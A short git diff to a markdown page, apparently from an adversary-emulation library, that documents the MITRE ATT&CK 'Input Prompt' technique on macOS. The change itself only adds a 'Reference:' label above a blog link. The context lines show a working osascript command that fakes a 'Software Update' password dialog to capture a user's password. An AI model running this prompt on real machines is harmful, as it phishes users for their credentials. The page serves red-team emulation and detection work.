diff --git a/Mac/Credential_Access/Input_Prompt.md b/Mac/Credential_Access/Input_Prompt.md
index b2f7e19b..154252c5 100644
--- a/Mac/Credential_Access/Input_Prompt.md
+++ b/Mac/Credential_Access/Input_Prompt.md
@@ -7,4 +7,6 @@ MITRE ATT&CK Technique: [T1141](https://attack.mitre.org/wiki/Technique/T1141)
 
     osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return  default answer "" with icon 1 with hidden answer with title "Software Update"'
 
+Reference:
+
 http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html